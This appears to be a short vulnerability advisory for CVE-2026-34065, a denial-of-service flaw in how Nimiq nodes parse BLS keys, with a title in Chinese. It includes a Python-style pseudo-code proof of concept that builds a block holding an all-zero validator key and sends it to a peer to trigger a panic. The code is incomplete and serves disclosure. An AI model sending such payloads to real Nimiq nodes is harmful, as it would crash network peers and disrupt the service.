CVE-2026-34065 Nimiq BLS密钥解析致拒绝服务漏洞

# Conceptual PoC: Malicious Election Macro Block Construction # This is a pseudo-code representation as actual protocol implementation requires Nimiq libraries. import struct # BLS public keys are usually 48 or 96 bytes. Sending invalid bytes causes uncompress fail. invalid_bls_key = b'\x00' * 48 # Example of potentially invalid key depending on curve params # Construct a malicious message payload simulating an Election Macro Block # containing the invalid validator key. def craft_malicious_block(): header = { "version": 1, "validators": [ {"voting_key": invalid_bls_key}, # Invalid key triggers panic # ... other valid fields ... ] } # Serialize and send via P2P socket to target Nimiq node return serialize(header) print("[+] Crafting malicious block with invalid BLS key...") payload = craft_malicious_block() print("[+] Send this payload to a vulnerable Nimiq peer to trigger panic.")
